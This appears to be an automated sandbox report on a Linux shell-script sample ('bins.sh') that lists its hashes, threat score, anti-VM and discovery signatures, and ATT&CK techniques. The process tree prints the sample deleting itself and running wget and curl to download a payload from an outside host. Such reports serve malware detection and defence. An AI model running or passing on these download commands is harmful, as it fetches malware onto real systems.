aa8303699498e8cc4fca3684190695fc46fb229a86912da86d278265ae85456b

Analysis

max time kernel
148s
max time network
2s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
20/10/2024, 11:16

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General

Target
bins.sh
Size 10KB
Sample241020-nc5e4averb
SHA256 aa8303699498e8cc4fca3684190695fc46fb229a86912da86d278265ae85456b
MD5 b7a267850033267bf2b5b7dcddd0b525
SHA1 61a2fbb38abff8595a890118cfbee817ea1557f9
SHA512 adc6f56adb04ebd6bbbdfaaa2e4ca770c59d4abe79734c66fd76c9dd7545685d863952a03b577850049a0fd637107ae75663742043d531d2fcd1eaf825cf2aac
SSDEEP 192:aJpwLnbU9swNa6EWdSWnPj+mBw8WSWnS+mBw8/JpwLnWswNa6I:BUEWdSWnPj+mBw8WSWnS+mBw8C
MD5 SHA1 SHA512 SSDEEP

Score

4^/10

antivm discovery

Malware Config

Signatures

Checks CPU configuration 1 TTPs 1 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 2 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl

System Network Configuration Discovery 1 TTPs 2 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
651	wget
661	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:647
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:649
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/cEMOveE67q8O5djPlyBYOVDZ034wfCXafE
  2⤵
  - System Network Configuration Discovery
  PID:651
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/cEMOveE67q8O5djPlyBYOVDZ034wfCXafE
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:661

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Network Configuration Discovery

T1016

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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